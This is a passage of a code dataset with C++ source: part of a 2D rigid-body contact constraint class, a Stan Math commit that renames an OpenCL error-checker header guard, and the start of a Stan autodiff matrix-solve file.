m_idx1 );\n  assert( fabs( m_n.norm() - 1.0 ) <= 1.0e-6 );\n}\n\nscalar BodyBodyConstraint::evalNdotV( const VectorXs& q, const VectorXs& v ) const\n{\n  return m_n.dot( computeRelativeVelocity( q, v ) );\n}\n\nint BodyBodyConstraint::impactStencilSize() const\n{\n  return 6;\n}\n\nvoid BodyBodyConstraint::getSimulatedBodyIndices( std::pair<int,int>& bodies ) const\n{\n  bodies.first = m_idx0;\n  bodies.second = m_idx1;\n}\n\nvoid BodyBodyConstraint::getBodyIndices( std::pair<int,int>& bodies ) const\n{\n  bodies.first = m_idx0;\n  bodies.second = m_idx1;\n}\n\nvoid BodyBodyConstraint::evalH( const VectorXs& q, const MatrixXXsc& basis, MatrixXXsc& H0, MatrixXXsc& H1 ) const\n{\n  assert( H0.rows() == 2 ); assert( H0.cols() == 3 );\n  assert( H1.rows() == 2 ); assert( H1.cols() == 3 );\n  assert( ( basis * basis.transpose() - MatrixXXsc::Identity( 2, 2 ) ).lpNorm<Eigen::Infinity>() <= 1.0e-6 );\n  assert( fabs( basis.determinant() - 1.0 ) <= 1.0e-6 );\n\n  \/\/ Grab the contact normal\n  const Vector2s n{ basis.col( 0 ) };\n  \/\/ Grab the tangent basis\n  const Vector2s t{ basis.col( 1 ) };\n\n  \/\/ Format for H:\n  \/\/   n^T  r x n\n  \/\/   t^T  r x t\n\n  H0.block<1,2>(0,0) = n;\n  H0(0,2) = MathUtilities::cross( m_r0, n );\n\n  H0.block<1,2>(1,0) = t;\n  H0(1,2) = MathUtilities::cross( m_r0, t );\n\n  H1.block<1,2>(0,0) = n;\n  H1(0,2) = MathUtilities::cross( m_r1, n );\n\n  H1.block<1,2>(1,0) = t;\n  H1(1,2) = MathUtilities::cross( m_r1, t );\n}\n\nvoid BodyBodyConstraint::computeContactBasis( const VectorXs& q, const VectorXs& v, MatrixXXsc& basis ) const\n{\n  assert( fabs( m_n.norm() - 1.0 ) <= 1.0e-6 );\n  const Vector2s t{ -m_n.y(), m_n.x() };\n  assert( fabs( t.norm() - 1.0 ) <= 1.0e-6 ); assert( fabs( m_n.dot( t ) ) <= 1.0e-6 );\n  basis.resize( 2, 2 );\n  basis.col( 0 ) = m_n;\n  basis.col( 1 ) = t;\n}\n\nbool BodyBodyConstraint::conservesTranslationalMomentum() const\n{\n  return true;\n}\n\nbool BodyBodyConstraint::conservesAngularMomentumUnderImpact() const\n{\n  return true;\n}\n\nbool BodyBodyConstraint::conservesAngularMomentumUnderImpactAndFriction() const\n{\n  return true;\n}\n\nstd::string BodyBodyConstraint::name() const\n{\n  return \"body_body\";\n}\n\nVectorXs BodyBodyConstraint::computeRelativeVelocity( const VectorXs& q, const VectorXs& v ) const\n{\n  assert( v.size() % 3 == 0 );\n  assert( 3 * m_idx0 + 2 < v.size() );\n  assert( 3 * m_idx1 + 2 < v.size() );\n\n  const Vector2s t0{ -m_r0.y(), m_r0.x() };\n  const Vector2s t1{ -m_r1.y(), m_r1.x() };\n\n  \/\/ v_0 + omega_0 x r_0 - ( v_1 + omega_1 x r_1 )\n  return v.segment<2>( 3 * m_idx0 ) + v( 3 * m_idx0 + 2 ) * t0 - v.segment<2>( 3 * m_idx1 ) - v( 3 * m_idx1 + 2 ) * t1;\n}\n\nvoid BodyBodyConstraint::setBodyIndex0( const unsigned idx )\n{\n  m_idx0 = idx;\n}\n\nvoid BodyBodyConstraint::setBodyIndex1( const unsigned idx )\n{\n  m_idx1 = idx;\n}\n\nVectorXs BodyBodyConstraint::computeKinematicRelativeVelocity( const VectorXs& q, const VectorXs& v ) const\n{\n  \/\/ No kinematic contribution\n  return VectorXs::Zero( 2 );\n}\n\nvoid BodyBodyConstraint::getWorldSpaceContactPoint( const VectorXs& q, VectorXs& contact_point ) const\n{\n  contact_point = m_r0 + q.segment<2>( 3 * m_idx0 );\n  #ifndef NDEBUG\n  const VectorXs p{ m_r1 + q.segment<2>( 3 * m_idx1 ) };\n  assert( ( p - contact_point ).lpNorm<Eigen::Infinity>() <= 1.0e-6 );\n  #endif\n}\n\nvoid BodyBodyConstraint::getWorldSpaceContactNormal( const VectorXs& q, VectorXs& contact_normal ) const\n{\n  contact_normal = m_n;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef STAN_MATH_PRIM_ARR_ERR_CHECK_OPENCL_HPP_\n#define STAN_MATH_PRIM_ARR_ERR_CHECK_OPENCL_HPP_\n\n#define __CL_ENABLE_EXCEPTIONS\n#include <CL\/cl.hpp>\n#include <iostream>\n#include <stdexcept>\n#include <string>\n\n\/** @file stan\/math\/prim\/arr\/err\/check_opencl.hpp\n *    @brief checking OpenCL error numbers\n *\/\n\nnamespace stan {\nnamespace math {\n\n\/**\n * Function that throws the OpenCL exception with the\n * given explanation\n *\n * @param function the name of the function where the error occured\n * @param msg information on the OpenCL error\n *\n * @throw std::domain_error Always.\n *\/\ninline void throw_openCL(const char *function, const char *msg) {\n  std::string error_msg\n      = std::string() + function\n        + \": The OpenCL application ended with the error: \" + msg;\n  throw std::domain_error(error_msg);\n}\n\/**\n * Throws the domain error with specifying the OpenCL error that\n * occured. It outputs the OpenCL errors that are specified\n * in OpenCL 2.0. If no matching error number is found,\n * it throws the error with the number.\n *\n * @param function the name of the function where the error occured\n * @param e The error number\n *\n * @throw std::domain_error Always.\n *\/\ninline void check_ocl_error(const char *function, const cl::Error &e) {\n  switch (e.err()) {\n    case 0:\n      \/\/ CL_SUCCESS - no need to throw\n      return;\n    case -1:\n      throw_openCL(function, \"CL_DEVICE_NOT_FOUND\");\n    case -2:\n      throw_openCL(function, \"CL_DEVICE_NOT_AVAILABLE\");\n    case -3:\n      throw_openCL(function, \"CL_COMPILER_NOT_AVAILABLE\");\n    case -4:\n      throw_openCL(function, \"CL_MEM_OBJECT_ALLOCATION_FAILURE\");\n    case -5:\n      throw_openCL(function, \"CL_OUT_OF_RESOURCES\");\n    case -6:\n      throw_openCL(function, \"CL_OUT_OF_HOST_MEMORY\");\n    case -7:\n      throw_openCL(function, \"CL_PROFILING_INFO_NOT_AVAILABLE\");\n    case -8:\n      throw_openCL(function, \"CL_MEM_COPY_OVERLAP\");\n    case -9:\n      throw_openCL(function, \"CL_IMAGE_FORMAT_MISMATCH\");\n    case -10:\n      throw_openCL(function, \"CL_IMAGE_FORMAT_NOT_SUPPORTED\");\n    case -11:\n      throw_openCL(function, \"CL_BUILD_PROGRAM_FAILURE\");\n    case -12:\n      throw_openCL(function, \"CL_MAP_FAILURE\");\n    case -13:\n      throw_openCL(function, \"CL_MISALIGNED_SUB_BUFFER_OFFSET\");\n    case -14:\n      throw_openCL(function, \"CL_EXEC_STATUS_ERROR_FOR_EVENTS_IN_WAIT_LIST\");\n    case -15:\n      throw_openCL(function, \"CL_COMPILE_PROGRAM_FAILURE\");\n    case -16:\n      throw_openCL(function, \"CL_LINKER_NOT_AVAILABLE\");\n    case -17:\n      throw_openCL(function, \"CL_LINK_PROGRAM_FAILURE\");\n    case -18:\n      throw_openCL(function, \"CL_DEVICE_PARTITION_FAILED\");\n    case -19:\n      throw_openCL(function, \"CL_KERNEL_ARG_INFO_NOT_AVAILABLE\");\n    case -30:\n      throw_openCL(function, \"CL_INVALID_VALUE\");\n    case -31:\n      throw_openCL(function, \"CL_INVALID_DEVICE_TYPE\");\n    case -32:\n      throw_openCL(function, \"CL_INVALID_PLATFORM\");\n    case -33:\n      throw_openCL(function, \"CL_INVALID_DEVICE\");\n    case -34:\n      throw_openCL(function, \"CL_INVALID_CONTEXT\");\n    case -35:\n      throw_openCL(function, \"CL_INVALID_QUEUE_PROPERTIES\");\n    case -36:\n      throw_openCL(function, \"CL_INVALID_COMMAND_QUEUE\");\n    case -37:\n      throw_openCL(function, \"CL_INVALID_HOST_PTR\");\n    case -38:\n      throw_openCL(function, \"CL_INVALID_MEM_OBJECT\");\n    case -39:\n      throw_openCL(function, \"CL_INVALID_IMAGE_FORMAT_DESCRIPTOR\");\n    case -40:\n      throw_openCL(function, \"CL_INVALID_IMAGE_SIZE\");\n    case -41:\n      throw_openCL(function, \"CL_INVALID_SAMPLER\");\n    case -42:\n      throw_openCL(function, \"CL_INVALID_BINARY\");\n    case -43:\n      throw_openCL(function, \"CL_INVALID_BUILD_OPTIONS\");\n    case -44:\n      throw_openCL(function, \"CL_INVALID_PROGRAM\");\n    case -45:\n      throw_openCL(function, \"CL_INVALID_PROGRAM_EXECUTABLE\");\n    case -46:\n      throw_openCL(function, \"CL_INVALID_KERNEL_NAME\");\n    case -47:\n      throw_openCL(function, \"CL_INVALID_KERNEL_DEFINITION\");\n    case -48:\n      throw_openCL(function, \"CL_INVALID_KERNEL\");\n    case -49:\n      throw_openCL(function, \"CL_INVALID_ARG_INDEX\");\n    case -50:\n      throw_openCL(function, \"CL_INVALID_ARG_VALUE\");\n    case -51:\n      throw_openCL(function, \"CL_INVALID_ARG_SIZE\");\n    case -52:\n      throw_openCL(function, \"CL_INVALID_KERNEL_ARGS\");\n    case -53:\n      throw_openCL(function, \"CL_INVALID_WORK_DIMENSION\");\n    case -54:\n      throw_openCL(function, \"CL_INVALID_WORK_GROUP_SIZE\");\n    case -55:\n      throw_openCL(function, \"CL_INVALID_WORK_ITEM_SIZE\");\n    case -56:\n      throw_openCL(function, \"CL_INVALID_GLOBAL_OFFSET\");\n    case -57:\n      throw_openCL(function, \"CL_INVALID_EVENT_WAIT_LIST\");\n    case -58:\n      throw_openCL(function, \"CL_INVALID_EVENT\");\n    case -59:\n      throw_openCL(function, \"CL_INVALID_OPERATION\");\n    case -60:\n      throw_openCL(function, \"CL_INVALID_GL_OBJECT\");\n    case -61:\n      throw_openCL(function, \"CL_INVALID_BUFFER_SIZE\");\n    case -62:\n      throw_openCL(function, \"CL_INVALID_MIP_LEVEL\");\n    case -63:\n      throw_openCL(function, \"CL_INVALID_GLOBAL_WORK_SIZE\");\n    case -64:\n      throw_openCL(function, \"CL_INVALID_PROPERTY\");\n    case -65:\n      throw_openCL(function, \"CL_INVALID_IMAGE_DESCRIPTOR\");\n    case -66:\n      throw_openCL(function, \"CL_INVALID_COMPILER_OPTIONS\");\n    case -67:\n      throw_openCL(function, \"CL_INVALID_LINKER_OPTIONS\");\n    case -68:\n      throw_openCL(function, \"CL_INVALID_DEVICE_PARTITION_COUNT\");\n    case -69:\n      throw_openCL(function, \"CL_INVALID_PIPE_SIZE\");\n    case -70:\n      throw_openCL(function, \"CL_INVALID_DEVICE_QUEUE\");\n    case -1000:\n      throw_openCL(function, \"CL_INVALID_GL_SHAREGROUP_REFERENCE_KHR\");\n    case -1001:\n      throw_openCL(function, \"CL_PLATFORM_NOT_FOUND_KHR\");\n    case -1002:\n      throw_openCL(function, \"CL_INVALID_D3D10_DEVICE_KHR\");\n    case -1003:\n      throw_openCL(function, \"CL_INVALID_D3D10_RESOURCE_KHR\");\n    case -1004:\n      throw_openCL(function, \"CL_D3D10_RESOURCE_ALREADY_ACQUIRED_KHR\");\n    case -1005:\n      throw_openCL(function, \"CL_D3D10_RESOURCE_NOT_ACQUIRED_KHR\");\n    case -1006:\n      throw_openCL(function, \"CL_INVALID_D3D11_DEVICE_KHR\");\n    case -1007:\n      throw_openCL(function, \"CL_INVALID_D3D11_RESOURCE_KHR\");\n    case -1008:\n      throw_openCL(function, \"CL_D3D11_RESOURCE_ALREADY_ACQUIRED_KHR\");\n    case -1009:\n      throw_openCL(function, \"CL_D3D11_RESOURCE_NOT_ACQUIRED_KHR\");\n    case -101:\n      throw_openCL(function, \"CL_INVALID_D3D9_DEVICE_NV \");\n    case -1011:\n      throw_openCL(function, \"CL_INVALID_D3D9_RESOURCE_NV \");\n    case -1012:\n      throw_openCL(function,\n                   \"CL_D3D9_RESOURCE_ALREADY_ACQUIRED_NV \"\n                   \"CL_DX9_RESOURCE_ALREADY_ACQUIRED_INTEL\");\n    case -1013:\n      throw_openCL(function,\n                   \"CL_D3D9_RESOURCE_NOT_ACQUIRED_NV \"\n                   \"CL_DX9_RESOURCE_NOT_ACQUIRED_INTEL\");\n    case -1092:\n      throw_openCL(function, \"CL_EGL_RESOURCE_NOT_ACQUIRED_KHR\");\n    case -1093:\n      throw_openCL(function, \"CL_INVALID_EGL_OBJECT_KHR\");\n    case -1094:\n      throw_openCL(function, \"CL_INVALID_ACCELERATOR_INTEL\");\n    case -1095:\n      throw_openCL(function, \"CL_INVALID_ACCELERATOR_TYPE_INTEL\");\n    case -1096:\n      throw_openCL(function, \"CL_INVALID_ACCELERATOR_DESCRIPTOR_INTEL\");\n    case -1097:\n      throw_openCL(function, \"CL_ACCELERATOR_TYPE_NOT_SUPPORTED_INTEL\");\n    case -1098:\n      throw_openCL(function, \"CL_INVALID_VA_API_MEDIA_ADAPTER_INTEL\");\n    case -1099:\n      throw_openCL(function, \"CL_INVALID_VA_API_MEDIA_SURFACE_INTEL\");\n    case -1100:\n      throw_openCL(function, \"CL_VA_API_MEDIA_SURFACE_ALREADY_ACQUIRED_INTEL\");\n    case -1101:\n      throw_openCL(function, \"CL_VA_API_MEDIA_SURFACE_NOT_ACQUIRED_INTEL\");\n    case -9999:\n      throw_openCL(function, \"ILLEGAL_READ_OR_WRITE_NVIDIA\");\n    default:\n      throw_openCL(function, std::to_string(e.err()).c_str());\n  }\n}\n}  \/\/ namespace math\n}  \/\/ namespace stan\n#endif\n<commit_msg>updating header guard<commit_after>#ifndef STAN_MATH_PRIM_ARR_ERR_CHECK_OPENCL_HPP\n#define STAN_MATH_PRIM_ARR_ERR_CHECK_OPENCL_HPP\n\n#define __CL_ENABLE_EXCEPTIONS\n#include <CL\/cl.hpp>\n#include <iostream>\n#include <stdexcept>\n#include <string>\n\n\/** @file stan\/math\/prim\/arr\/err\/check_opencl.hpp\n *    @brief checking OpenCL error numbers\n *\/\n\nnamespace stan {\nnamespace math {\n\n\/**\n * Function that throws the OpenCL exception with the\n * given explanation\n *\n * @param function the name of the function where the error occured\n * @param msg information on the OpenCL error\n *\n * @throw std::domain_error Always.\n *\/\ninline void throw_openCL(const char *function, const char *msg) {\n  std::string error_msg\n      = std::string() + function\n        + \": The OpenCL application ended with the error: \" + msg;\n  throw std::domain_error(error_msg);\n}\n\/**\n * Throws the domain error with specifying the OpenCL error that\n * occured. It outputs the OpenCL errors that are specified\n * in OpenCL 2.0. If no matching error number is found,\n * it throws the error with the number.\n *\n * @param function the name of the function where the error occured\n * @param e The error number\n *\n * @throw std::domain_error Always.\n *\/\ninline void check_ocl_error(const char *function, const cl::Error &e) {\n  switch (e.err()) {\n    case 0:\n      \/\/ CL_SUCCESS - no need to throw\n      return;\n    case -1:\n      throw_openCL(function, \"CL_DEVICE_NOT_FOUND\");\n    case -2:\n      throw_openCL(function, \"CL_DEVICE_NOT_AVAILABLE\");\n    case -3:\n      throw_openCL(function, \"CL_COMPILER_NOT_AVAILABLE\");\n    case -4:\n      throw_openCL(function, \"CL_MEM_OBJECT_ALLOCATION_FAILURE\");\n    case -5:\n      throw_openCL(function, \"CL_OUT_OF_RESOURCES\");\n    case -6:\n      throw_openCL(function, \"CL_OUT_OF_HOST_MEMORY\");\n    case -7:\n      throw_openCL(function, \"CL_PROFILING_INFO_NOT_AVAILABLE\");\n    case -8:\n      throw_openCL(function, \"CL_MEM_COPY_OVERLAP\");\n    case -9:\n      throw_openCL(function, \"CL_IMAGE_FORMAT_MISMATCH\");\n    case -10:\n      throw_openCL(function, \"CL_IMAGE_FORMAT_NOT_SUPPORTED\");\n    case -11:\n      throw_openCL(function, \"CL_BUILD_PROGRAM_FAILURE\");\n    case -12:\n      throw_openCL(function, \"CL_MAP_FAILURE\");\n    case -13:\n      throw_openCL(function, \"CL_MISALIGNED_SUB_BUFFER_OFFSET\");\n    case -14:\n      throw_openCL(function, \"CL_EXEC_STATUS_ERROR_FOR_EVENTS_IN_WAIT_LIST\");\n    case -15:\n      throw_openCL(function, \"CL_COMPILE_PROGRAM_FAILURE\");\n    case -16:\n      throw_openCL(function, \"CL_LINKER_NOT_AVAILABLE\");\n    case -17:\n      throw_openCL(function, \"CL_LINK_PROGRAM_FAILURE\");\n    case -18:\n      throw_openCL(function, \"CL_DEVICE_PARTITION_FAILED\");\n    case -19:\n      throw_openCL(function, \"CL_KERNEL_ARG_INFO_NOT_AVAILABLE\");\n    case -30:\n      throw_openCL(function, \"CL_INVALID_VALUE\");\n    case -31:\n      throw_openCL(function, \"CL_INVALID_DEVICE_TYPE\");\n    case -32:\n      throw_openCL(function, \"CL_INVALID_PLATFORM\");\n    case -33:\n      throw_openCL(function, \"CL_INVALID_DEVICE\");\n    case -34:\n      throw_openCL(function, \"CL_INVALID_CONTEXT\");\n    case -35:\n      throw_openCL(function, \"CL_INVALID_QUEUE_PROPERTIES\");\n    case -36:\n      throw_openCL(function, \"CL_INVALID_COMMAND_QUEUE\");\n    case -37:\n      throw_openCL(function, \"CL_INVALID_HOST_PTR\");\n    case -38:\n      throw_openCL(function, \"CL_INVALID_MEM_OBJECT\");\n    case -39:\n      throw_openCL(function, \"CL_INVALID_IMAGE_FORMAT_DESCRIPTOR\");\n    case -40:\n      throw_openCL(function, \"CL_INVALID_IMAGE_SIZE\");\n    case -41:\n      throw_openCL(function, \"CL_INVALID_SAMPLER\");\n    case -42:\n      throw_openCL(function, \"CL_INVALID_BINARY\");\n    case -43:\n      throw_openCL(function, \"CL_INVALID_BUILD_OPTIONS\");\n    case -44:\n      throw_openCL(function, \"CL_INVALID_PROGRAM\");\n    case -45:\n      throw_openCL(function, \"CL_INVALID_PROGRAM_EXECUTABLE\");\n    case -46:\n      throw_openCL(function, \"CL_INVALID_KERNEL_NAME\");\n    case -47:\n      throw_openCL(function, \"CL_INVALID_KERNEL_DEFINITION\");\n    case -48:\n      throw_openCL(function, \"CL_INVALID_KERNEL\");\n    case -49:\n      throw_openCL(function, \"CL_INVALID_ARG_INDEX\");\n    case -50:\n      throw_openCL(function, \"CL_INVALID_ARG_VALUE\");\n    case -51:\n      throw_openCL(function, \"CL_INVALID_ARG_SIZE\");\n    case -52:\n      throw_openCL(function, \"CL_INVALID_KERNEL_ARGS\");\n    case -53:\n      throw_openCL(function, \"CL_INVALID_WORK_DIMENSION\");\n    case -54:\n      throw_openCL(function, \"CL_INVALID_WORK_GROUP_SIZE\");\n    case -55:\n      throw_openCL(function, \"CL_INVALID_WORK_ITEM_SIZE\");\n    case -56:\n      throw_openCL(function, \"CL_INVALID_GLOBAL_OFFSET\");\n    case -57:\n      throw_openCL(function, \"CL_INVALID_EVENT_WAIT_LIST\");\n    case -58:\n      throw_openCL(function, \"CL_INVALID_EVENT\");\n    case -59:\n      throw_openCL(function, \"CL_INVALID_OPERATION\");\n    case -60:\n      throw_openCL(function, \"CL_INVALID_GL_OBJECT\");\n    case -61:\n      throw_openCL(function, \"CL_INVALID_BUFFER_SIZE\");\n    case -62:\n      throw_openCL(function, \"CL_INVALID_MIP_LEVEL\");\n    case -63:\n      throw_openCL(function, \"CL_INVALID_GLOBAL_WORK_SIZE\");\n    case -64:\n      throw_openCL(function, \"CL_INVALID_PROPERTY\");\n    case -65:\n      throw_openCL(function, \"CL_INVALID_IMAGE_DESCRIPTOR\");\n    case -66:\n      throw_openCL(function, \"CL_INVALID_COMPILER_OPTIONS\");\n    case -67:\n      throw_openCL(function, \"CL_INVALID_LINKER_OPTIONS\");\n    case -68:\n      throw_openCL(function, \"CL_INVALID_DEVICE_PARTITION_COUNT\");\n    case -69:\n      throw_openCL(function, \"CL_INVALID_PIPE_SIZE\");\n    case -70:\n      throw_openCL(function, \"CL_INVALID_DEVICE_QUEUE\");\n    case -1000:\n      throw_openCL(function, \"CL_INVALID_GL_SHAREGROUP_REFERENCE_KHR\");\n    case -1001:\n      throw_openCL(function, \"CL_PLATFORM_NOT_FOUND_KHR\");\n    case -1002:\n      throw_openCL(function, \"CL_INVALID_D3D10_DEVICE_KHR\");\n    case -1003:\n      throw_openCL(function, \"CL_INVALID_D3D10_RESOURCE_KHR\");\n    case -1004:\n      throw_openCL(function, \"CL_D3D10_RESOURCE_ALREADY_ACQUIRED_KHR\");\n    case -1005:\n      throw_openCL(function, \"CL_D3D10_RESOURCE_NOT_ACQUIRED_KHR\");\n    case -1006:\n      throw_openCL(function, \"CL_INVALID_D3D11_DEVICE_KHR\");\n    case -1007:\n      throw_openCL(function, \"CL_INVALID_D3D11_RESOURCE_KHR\");\n    case -1008:\n      throw_openCL(function, \"CL_D3D11_RESOURCE_ALREADY_ACQUIRED_KHR\");\n    case -1009:\n      throw_openCL(function, \"CL_D3D11_RESOURCE_NOT_ACQUIRED_KHR\");\n    case -101:\n      throw_openCL(function, \"CL_INVALID_D3D9_DEVICE_NV \");\n    case -1011:\n      throw_openCL(function, \"CL_INVALID_D3D9_RESOURCE_NV \");\n    case -1012:\n      throw_openCL(function,\n                   \"CL_D3D9_RESOURCE_ALREADY_ACQUIRED_NV \"\n                   \"CL_DX9_RESOURCE_ALREADY_ACQUIRED_INTEL\");\n    case -1013:\n      throw_openCL(function,\n                   \"CL_D3D9_RESOURCE_NOT_ACQUIRED_NV \"\n                   \"CL_DX9_RESOURCE_NOT_ACQUIRED_INTEL\");\n    case -1092:\n      throw_openCL(function, \"CL_EGL_RESOURCE_NOT_ACQUIRED_KHR\");\n    case -1093:\n      throw_openCL(function, \"CL_INVALID_EGL_OBJECT_KHR\");\n    case -1094:\n      throw_openCL(function, \"CL_INVALID_ACCELERATOR_INTEL\");\n    case -1095:\n      throw_openCL(function, \"CL_INVALID_ACCELERATOR_TYPE_INTEL\");\n    case -1096:\n      throw_openCL(function, \"CL_INVALID_ACCELERATOR_DESCRIPTOR_INTEL\");\n    case -1097:\n      throw_openCL(function, \"CL_ACCELERATOR_TYPE_NOT_SUPPORTED_INTEL\");\n    case -1098:\n      throw_openCL(function, \"CL_INVALID_VA_API_MEDIA_ADAPTER_INTEL\");\n    case -1099:\n      throw_openCL(function, \"CL_INVALID_VA_API_MEDIA_SURFACE_INTEL\");\n    case -1100:\n      throw_openCL(function, \"CL_VA_API_MEDIA_SURFACE_ALREADY_ACQUIRED_INTEL\");\n    case -1101:\n      throw_openCL(function, \"CL_VA_API_MEDIA_SURFACE_NOT_ACQUIRED_INTEL\");\n    case -9999:\n      throw_openCL(function, \"ILLEGAL_READ_OR_WRITE_NVIDIA\");\n    default:\n      throw_openCL(function, std::to_string(e.err()).c_str());\n  }\n}\n}  \/\/ namespace math\n}  \/\/ namespace stan\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#ifndef STAN_MATH_REV_FUN_MDIVIDE_LEFT_LDLT_HPP\n#define STAN_MATH_REV_FUN_MDIVIDE_LEFT_LDLT_HPP\n\n#include <stan\/math\/rev\/meta.hpp>\n#include <stan\/math\/rev\/core.hpp>\n#include <stan\/math\/rev\/fun\/LDLT_alloc.hpp>\n#include <stan\/math\/rev\/fun\/LDLT_factor.hpp>\n#include <stan\/math\/prim\/err.hpp>\n#include <stan\/math\/prim\/fun\/Eigen.hpp>\n#include <stan\/math\/prim\/fun\/typedefs.hpp>\n\nnamespace stan {\nnamespace math {\nnamespace internal {\n\ntemplate <int R1, int C1, int R2, int C2>\nclass mdivide_left_ldlt_alloc : public chainable_alloc {\n public:\n  virtual ~mdivide_left_ldlt_alloc() {}\n\n  \/**\n   * This share_ptr is used to prevent copying the LDLT factorizations\n   * for mdivide_left_ldlt(ldltA, b) when ldltA is a LDLT_factor<double>.\n   * The pointer is shared with the LDLT_factor<double> class.\n   **\/\n  boost::shared_ptr<Eigen::LDLT<Eigen::Matrix<double, R1, C1> > > ldltP_;\n  Eigen::Matrix<double, R2, C2> C_;\n};\n\n\/**\n * The vari for mdivide_left_ldlt(A, b) which handles the chain() call\n * for all elements of the result.  This vari follows the pattern\n * used in the other matrix operations where there is one \"master\"\n * vari whose value is never used and a large number of \"slave\" varis\n * whose chain() functions are never called because their adjoints are\n * set by the \"master\" vari.\n *\n * This class handles the var\/var case.\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\/\ntemplate <int R1, int C1, int R2, int C2>\nclass mdivide_left_ldlt_vv_vari : public vari {\n public:\n  int M_;  \/\/ A.rows() = A.cols() = B.rows()\n  int N_;  \/\/ B.cols()\n  vari **variRefB_;\n  vari **variRefC_;\n  mdivide_left_ldlt_alloc<R1, C1, R2, C2> *alloc_;\n  const LDLT_alloc<R1, C1> *alloc_ldlt_;\n\n  mdivide_left_ldlt_vv_vari(const LDLT_factor<var, R1, C1> &A,\n                            const Eigen::Matrix<var, R2, C2> &B)\n      : vari(0.0),\n        M_(A.rows()),\n        N_(B.cols()),\n        variRefB_(reinterpret_cast<vari **>(\n            ChainableStack::instance_->memalloc_.alloc(sizeof(vari *) * B.rows()\n                                                       * B.cols()))),\n        variRefC_(reinterpret_cast<vari **>(\n            ChainableStack::instance_->memalloc_.alloc(sizeof(vari *) * B.rows()\n                                                       * B.cols()))),\n        alloc_(new mdivide_left_ldlt_alloc<R1, C1, R2, C2>()),\n        alloc_ldlt_(A.alloc_) {\n    Eigen::Map<matrix_vi>(variRefB_, M_, N_) = B.vi();\n    alloc_->C_ = B.val();\n    alloc_ldlt_->ldlt_.solveInPlace(alloc_->C_);\n    Eigen::Map<matrix_vi>(variRefC_, M_, N_)\n        = alloc_->C_.unaryExpr([](double x) { return new vari(x, false); });\n  }\n\n  virtual void chain() {\n    matrix_d adjB = Eigen::Map<matrix_vi>(variRefC_, M_, N_).adj();\n\n    alloc_ldlt_->ldlt_.solveInPlace(adjB);\n\n    const_cast<matrix_vi &>(alloc_ldlt_->variA_).adj()\n        -= adjB * alloc_->C_.transpose();\n    Eigen::Map<matrix_vi>(variRefB_, M_, N_).adj() += adjB;\n  }\n};\n\n\/**\n * The vari for mdivide_left_ldlt(A, b) which handles the chain() call\n * for all elements of the result.  This vari follows the pattern\n * used in the other matrix operations where there is one \"master\"\n * vari whose value is never used and a large number of \"slave\" varis\n * whose chain() functions are never called because their adjoints are\n * set by the \"master\" vari.\n *\n * This class handles the double\/var case.\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\/\ntemplate <int R1, int C1, int R2, int C2>\nclass mdivide_left_ldlt_dv_vari : public vari {\n public:\n  int M_;  \/\/ A.rows() = A.cols() = B.rows()\n  int N_;  \/\/ B.cols()\n  vari **variRefB_;\n  vari **variRefC_;\n  mdivide_left_ldlt_alloc<R1, C1, R2, C2> *alloc_;\n\n  mdivide_left_ldlt_dv_vari(const LDLT_factor<double, R1, C1> &A,\n                            const Eigen::Matrix<var, R2, C2> &B)\n      : vari(0.0),\n        M_(A.rows()),\n        N_(B.cols()),\n        variRefB_(reinterpret_cast<vari **>(\n            ChainableStack::instance_->memalloc_.alloc(sizeof(vari *) * B.rows()\n                                                       * B.cols()))),\n        variRefC_(reinterpret_cast<vari **>(\n            ChainableStack::instance_->memalloc_.alloc(sizeof(vari *) * B.rows()\n                                                       * B.cols()))),\n        alloc_(new mdivide_left_ldlt_alloc<R1, C1, R2, C2>()) {\n    Eigen::Map<matrix_vi>(variRefB_, M_, N_) = B.vi();\n    alloc_->C_ = B.val();\n    alloc_->ldltP_ = A.ldltP_;\n    alloc_->ldltP_->solveInPlace(alloc_->C_);\n    Eigen::Map<matrix_vi>(variRefC_, M_, N_)\n        = alloc_->C_.unaryExpr([](double x) { return new vari(x, false); });\n  }\n\n  virtual void chain() {\n    matrix_d adjB = Eigen::Map<matrix_vi>(variRefC_, M_, N_).adj();\n    alloc_->ldltP_->solveInPlace(adjB);\n    Eigen::Map<matrix_vi>(variRefB_, M_, N_).adj() += adjB;\n  }\n};\n\n\/**\n * The vari for mdivide_left_ldlt(A, b) which handles the chain() call\n * for all elements of the result.  This vari follows the pattern\n * used in the other matrix operations where there is one \"master\"\n * vari whose value is never used and a large number of \"slave\" varis\n * whose chain() functions are never called because their adjoints are\n * set by the \"master\" vari.\n *\n * This class handles the var\/double case.\n *\n * @tparam R1 number of rows in the LDLT_factor, can be Eigen::Dynamic\n * @tparam C1 number of columns in the LDLT_factor, can be Eigen::Dynamic\n * @tparam R2 number of rows in the right-hand side matrix, can be\n *         Eigen::Dynamic\n * @tparam C2 number of columns in the right-hand side matrix, can be\n *         Eigen::Dynamic\n *\/\ntemplate <int R1, int C1, int R2, int C2>\nclass mdivide_left_ldlt_vd_vari : public vari {\n public:\n  int M_;  \/\/ A.rows() = A.cols() = B.rows()\n  int N_;  \/\/ B.cols()\n  vari **variRefC_;\n  mdivide_left_ldlt_alloc<R1, C1, R2, C2> *alloc_;\n  const LDLT_alloc<R1, C1> *alloc_ldlt_;\n\n  mdivide_left_ldlt_vd_vari(const LDLT_factor<var, R1, C1> &A,\n                            const Eigen::Matrix<double, R2, C2> &B)\n      : vari(0.0),\n        M_(A.rows()),\n        N_(B.cols()),\n        variRefC_(reinterpret_cast<vari **>(\n            ChainableStack::instance_->memalloc_.alloc(sizeof(vari *) * B.rows()\n                                                       * B.cols()))),\n        alloc_(new mdivide_left_ldlt_alloc<R1, C1, R2, C2>()),\n        alloc_ldlt_(A.alloc_) {\n    alloc_->C_ = B;\n    alloc_ldlt_->ldlt_.solveInPlace(alloc_->C_);\n    Eigen::Map<matrix_vi>(variRefC_, M_, N_)\n        = alloc_->C_.unaryExpr([](double x) { return new vari(x, false); });\n 